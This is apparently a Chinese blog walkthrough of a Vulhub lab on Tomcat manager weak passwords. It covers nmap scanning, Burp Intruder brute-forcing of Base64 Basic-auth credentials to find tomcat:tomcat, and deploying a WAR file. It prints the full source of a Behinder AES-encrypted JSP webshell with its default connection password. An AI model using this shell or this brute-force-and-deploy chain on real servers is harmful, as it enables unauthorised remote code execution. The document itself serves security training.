vulhub-tomcat弱口令

1.启动靶场

进入文件

进入目录

进入到靶场

vulhub-tomcat弱口令_第1张图片

启动靶场

docker-compose up -d

2.查看 ip地址

vulhub-tomcat弱口令_第2张图片

3.使用nmap对ip进行 扫描

vulhub-tomcat弱口令_第3张图片

发现存在8080的端口,并且端口是开放的状态,apache,tomcat搭建的

4.访问ip地址的端口

vulhub-tomcat弱口令_第4张图片

点击Manager app

vulhub-tomcat弱口令_第5张图片

6.开启BP进行抓包

vulhub-tomcat弱口令_第6张图片

随便输入账号和密码

vulhub-tomcat弱口令_第7张图片

抓包注意这一块,这是base64的加密方式

7.进行base64解密

vulhub-tomcat弱口令_第8张图片

vulhub-tomcat弱口令_第9张图片

vulhub-tomcat弱口令_第10张图片

界面内容。

11111 11111就是我们刚刚输入的账号和密码。而中间的:是用来分隔的

vulhub-tomcat弱口令_第11张图片

8.对账号和密码进行爆破

vulhub-tomcat弱口令_第12张图片

vulhub-tomcat弱口令_第13张图片把他添加为一个变量

vulhub-tomcat弱口令_第14张图片 \vulhub-tomcat弱口令_第15张图片

设置第一个参数,1对应的是用户名

vulhub-tomcat弱口令_第16张图片

选择使用的字典

vulhub-tomcat弱口令_第17张图片选择完毕后,点击add

vulhub-tomcat弱口令_第18张图片

选择第二个参数

vulhub-tomcat弱口令_第19张图片

对应的是用户:密码 中的:.

由于:是已知的,我们就不用选择字典了,直接写:进去就可以了

vulhub-tomcat弱口令_第20张图片

vulhub-tomcat弱口令_第21张图片

vulhub-tomcat弱口令_第22张图片

再次点击add。

设置完成

vulhub-tomcat弱口令_第23张图片

选择3.设置第三个参数

vulhub-tomcat弱口令_第24张图片

第三个参数对应的是用户:密码,中的密码

vulhub-tomcat弱口令_第25张图片

选择字典,载入进去

vulhub-tomcat弱口令_第26张图片

点击add

vulhub-tomcat弱口令_第27张图片

 payload processing中设置base64编码

vulhub-tomcat弱口令_第28张图片

vulhub-tomcat弱口令_第29张图片

vulhub-tomcat弱口令_第30张图片

由于bp会自动将符号进行 url 编码,所以需要将 Payload Encoding 默认的勾给去掉

vulhub-tomcat弱口令_第31张图片

vulhub-tomcat弱口令_第32张图片

开始爆破。

vulhub-tomcat弱口令_第33张图片

点击这个状态码200的。

vulhub-tomcat弱口令_第34张图片

查看数据包。

vulhub-tomcat弱口令_第35张图片

选中前面 设置的变量的地方,发送到Decoder模块进行解码

vulhub-tomcat弱口令_第36张图片

vulhub-tomcat弱口令_第37张图片

tomcat:tomcat

为账号和密码

9.登录账号

vulhub-tomcat弱口令_第38张图片vulhub-tomcat弱口令_第39张图片vulhub-tomcat弱口令_第40张图片

登录成功

10.准备一个jsp木马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

11.制作一个 war包

vulhub-tomcat弱口令_第41张图片

将.jsp的文件压缩成.zip格式的

将.zip的后缀修改为.war。

12.将war包部署Tomcat上

vulhub-tomcat弱口令_第42张图片

vulhub-tomcat弱口令_第43张图片

将刚刚制作好的.war的包上传上去

vulhub-tomcat弱口令_第44张图片

点击Deploy

13.查看应用列表中x.war包是否上传成功

vulhub-tomcat弱口令_第45张图片

这里是上传成功

14.访问刚刚上传好的.jsp的文件

http://192.168.189.131:8080/k/k.jsp

如果你上传的.war,比如说叫x.jsp那么目录就是

##http:/192.168.189.131:8080/x/x.jsp

以此类推

vulhub-tomcat弱口令_第46张图片出现空白的界面代表成功

15.使用冰蝎或者蚁剑进行连接 

连接密码:rebeyond

vulhub-tomcat弱口令_第47张图片

vulhub-tomcat弱口令_第48张图片

vulhub-tomcat弱口令_第49张图片

你可能感兴趣的:(tomcat,java)